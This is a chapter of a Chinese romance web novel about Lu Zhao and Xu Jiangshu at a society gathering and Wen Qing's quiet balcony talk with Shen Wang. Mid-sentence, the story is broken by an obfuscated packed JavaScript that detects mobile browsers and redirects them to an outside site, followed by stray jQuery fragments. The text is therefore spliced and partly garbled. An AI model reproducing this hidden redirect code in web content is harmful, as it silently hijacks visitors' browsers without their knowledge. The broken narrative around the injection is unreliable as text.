6. 第 6 章
作品:《只有你》 路昭以为看错了,眉头轻轻一皱,可那张脸实在叫人难忘。
不是在寝室先一步离开的人,那人还能是谁?
闻轻同样也看见路昭了,但目光没做停留,转而继续打着牌。
像极了融入那群人,方才怎么样,现在就怎么样。不会去想着借机与路昭打招呼,把两人关系表明。
沙发上挪出空位,路昭和许江树过去坐着。
茶几上的烟灰缸被许江树叫人拿走,换成了一份苹果山药泥。
路昭笑了,她斜在沙发边上靠着看许江树。
忽然想起了第一次见到许江树的场景。
那时候的她刚从舅舅那儿搬出来,没那么胆大,怯生生的。
还遇见了跟“恶霸”似的面孔,她差一点儿都不敢呼吸。
要不是有许奶奶在,她想她都有可能离家出走。
最后还是硬着头皮喊了声哥哥。
后来两人熟悉了,路昭只觉得许江树是个纸老虎。
直到她有一次逃课,也是她第一次逃课,具体为了什么,她忘记了。
只记得是为了去舅舅家拿准备被表弟丢掉的东西。
然后这事被许江树知道了,他在学校守着她一个下午。
把她拎回家时,整个人凶巴巴的。
她第一次体会到了许江树跟他表面一个样儿,眼泪都没在眼眶打转,就直落下来。
许江树也是狠了心,并没有因此停下教育。
所以她被面壁思过了几个小时。
印象最深的还得是她不服气,不仅偷偷骂了许江树是大坏蛋,还写在了日记本里。
这么想着,路昭噗呲笑出声。
在旁边的许江树没跟上她节奏:“傻笑什么?”
路昭思绪回笼,说:“哥哥还记得我日记本嘛?”
准确来说应该叫做:许江树的坏蛋笔记次数。
许江树扬眉,也想到了记仇小本子。
那时候的路昭翻来覆去都是,哥哥天下第一坏;哥哥是坏蛋…
因为说脏话,路昭又得在本子上狠狠记上一笔。
许江树带着浅浅的气息笑出了声:“你什么事我不记得?”
“……”
她的囧事也要记吗?!
这个时候,另一边的闻轻把牌推出去:“清一色。”
声音不大,满桌人却都能听清,带着她们那儿的语调,是客气的声音,但听着细细软软的。
“我说沈公子,哪儿找的人啊?这才两圈就搞个大的,都吓到我带来的人了,人跑了你可得赔。”
说话的是一位女士,她坐在闻轻斜对面,扬着过分的脸,上了色儿的手指搭在一旁男人的肩膀上,语气带着责怪与威胁,脸上却笑盈盈的。
沈妄眼没带抬地拖着腔朝着闻轻说:“让让人家,赔钱也就算了,赔人…咱还真赔不起。”
这话让人听起来倒是映射什么,至少在闻轻耳里是这样。
闻轻抬头望向沈妄,他也垂着头瞧着自己,眼里带着笑意。
笑得却不彻底,没几分真意。
有那么一瞬间,她还是有些晃了神。
几秒后。
闻轻自然地收回脑袋,答应得快:“好啊。”
说完,她跟着牌上的人搓起了麻将。
路昭观望旁边这一幕,注意力更多的是那位女士,有点眼熟:“哥哥,那人是谁啊?”
“范云筝。”
范?
路昭想到她们在学校遇见那个范什么来着,她问:“她是不是有个弟弟?”
“嗯,范洲。”许江树说,“同父异母的姐弟。”
那么清楚?路昭一顿,才想起什么来,她坐正了身体:“你知道了?”
“嗯。”许江树说,“从沈妄那儿得来的消息。”
默了半晌,路昭偏题了:“她们姐弟关系好吗?”
“竞争关系,怎么会好?范云筝逐渐开始掌权。”许江树说得仔细,“她不会给范洲任何机会上位。”
路昭“哦”了声。
有点意外,她还以为范洲只是个吃喝玩乐的纨绔,想不到还能让范云筝这样有手段的人防着。
打了几圈,她们那一群人也散了。
也不知道是谁安排的,路昭的右手边是闻轻。
路昭本就是不爱主动去社交的人,所以她也没主动去和闻轻打招呼。
她们在宿舍除了有事时,也是这样,偶尔还得芭比来给闲聊起个步。
饭桌上,那范云筝女士端着香槟走到路昭和闻轻中间。她手心撑在桌面,侧着身子望着路昭。
两人尽管第一次见面,范云筝语气也大大方方的亲昵,却又不叫人难接受:“咱们的路昭妹妹瞒着我们偷偷长大了,是小酌一口呢,还是喝牛奶?”
所有交际不会简单、天真、没目的。路昭对范云筝印象好,愿意卖一个面子,懒洋洋道:“姐姐有什么推荐?”
“甜起泡?”范云筝认真推荐的模样,“口感清爽,试试?”
“好啊。”
一应下来,范云筝抬头示意人。
在此期间,范云筝没有离开,她视线转向许江树,玩笑似地揶揄:“许总可把路昭妹妹藏得好,不然我们也不会第一次见面。”
“别说你了,我都见不着几次。”沈妄扫了那俩,调侃道,“跟个宝贝似的。”
许江树笑笑没否认,翘着腿,仪态散漫地把手臂搁在扶手上,修长的手指有一下没一下打着拍子,眼眸盯着路昭漆黑的发丝。
原本只想听她们闲谈的路昭心里忽然起了一阵涟漪。
沈妄说宝贝似的…人。
就是指她了吧。
那她厚着这个脸皮接下。
但眼下她有个更大的问题——许江树会是什么回答。
路昭偏过头,就见许江树眼眸微下垂着。
是在盯着什么?
发呆吗?
没把话给听进耳里?
路昭想顺着他视线探究竟。
奈何起泡酒正好送上来,许江树视线挪移了位置。
路昭也被范云筝喊了一声。
她回头。
范云筝把酒杯递过来,自己手上的高脚杯微微斜着,嘴唇勾了下:“期待以后能有叫路导的机会。”
闻言,路昭也是发自内心的欣喜:“谢谢。”
那天晚上,从范云筝喊出“路导”开始,氛围渐渐浓厚起来。
该说不说,范云筝逐渐接权后,范家的地位也跟着提高了不少,她摇晃着酒杯,十分享受自个儿带来的成果。
至于其他的…范云筝眯着眼,再说吧。
还是别辜负了今晚。
-
一顿饭时间花了两个小时,饭后没人想离场,于是又变成了唱歌的、打牌的…
不胜酒力的闻轻不再参与其中,她来到包厢自带的阳台。
没有霓虹灯亮,也没有车水马龙的喧嚣,就无尽的黑夜。
她惬意地仰起头,等着风吹醒自己。
没多久,沈妄闯到了她一旁,手上夹着烟,没抽,和闻轻一样倚在栏杆上。
两人都没开口说话,像是不敢打破这静谧。
但其实是闻轻不知道怎么去开口。
她们距离上次见面还是范洲那事后的第二天。
她们就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486388|202031||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只是吃了顿饭。
沈妄在等她主动开口,而她默不作声。
那天后,沈妄没联系过她。
若不是这次聚会,她还以为她们就这样断了。
须臾间,闻轻见沈妄没点烟,就这么拿着,她也有了理由:“要给你点烟吗?沈先生。”
沈妄挑眉,似对这问题感到奇怪:“我在你面前抽过烟?”
闻轻还真想了想,和沈妄相处几个月来,尽管见面次数不算多,可她还真没有见过,便老实回答:“没有。”
沈妄淡淡一笑,可他的样貌清爽阳光,笑起来再怎么淡,也是给人无害的感觉。
“那给我点烟做什么?”
或许是空气中弥漫着酒味,闻轻难得没一次理智:“担心你顾虑我才不抽。”
“不是。”
沈妄坦坦荡荡地否认,哄都不哄一点儿。
本就不该是出乎意料的回答,可真听到这一刻,闻轻蹙了眉头,连她自己都不知道用什么语言去形容自己的情绪。
譬如自己现在面前的黑夜,让人觉得远方有光亮,却好像又没有。
这样也好。
提醒她,她们不是一个世界的人。
闻轻自顾出神,忘了在等后文的沈妄。
片刻,听他说:“所以,就这样?不问问?”
风正好吹来一阵,闻轻头发跟着飘荡,她低着头捋着头发放在耳后挂着,果断拒绝:“不了。”
她能问什么呢?
这姑娘太通透了,沈妄想着。所以他也没坚持下去,转而换了话题:“我记得你和路昭是室友?”
不是疑问,是带有目的的陈述。
“嗯。”闻轻知道他想说什么,大概是见两人没交流过一句,于是不用等沈妄开口,她便自己顺着说了,“我们不常交谈。”
“相处不了?”
“不是,她们人都很好。”
她们只是只会顾自己,不自我过多插入别人生活。
说实在的,闻轻特喜欢这样的相处模式,各有各的边界。
就像她出现这场聚会,路昭也没用奇怪的眼神打量她;也没问她为什么会出现在这里;是以什么身份出现,还是跟着谁出现……
即使坐在一起,异样的目光没出现。
态度和平常一个样。
没有陌生,也没有熟络。
虽然她决定应下这场邀约那刻,就抱上被鄙夷、轻蔑的心态,可真到了现在,她还是不由地松口气儿。
同时,闻轻也突然想到路昭那句“我送送你啊”,她眼神变得五味杂陈,没了想继续待下去的念头,她抬起手腕看了看时间。
22:06。
闻轻仰头一笑:“沈先生,太晚了,我该回学校了,有门禁。”
“我送你。”
闻轻迟疑:“你不是喝酒了吗?”
沈妄微愣住。
真想知道眼前这姑娘是把他想成多可怕,竟会想着能带她酒后驾驶。
沈妄像是听到了什么笑话好笑道:“有司机。”
闻轻脸上一个烧,还持着镇定向他道谢。
这个点,闻轻才不会傻傻地拒绝,还是在郊区,打车过去得多贵啊!再说了,还不好打车。
她们一前一后走到包厢。
路昭和许江树已经离开。
这个点估计到家了。
密码锁滴滴滴地响,许江树打开门侧身让位,路昭像条鲫鱼似地游进家。
她坐在玄关上的凳子换鞋,然而身体刚刚微屈,又故作是想起什么事来的模样喊:“哥哥。”
“嗯。”
“你今天状态不对吗?”

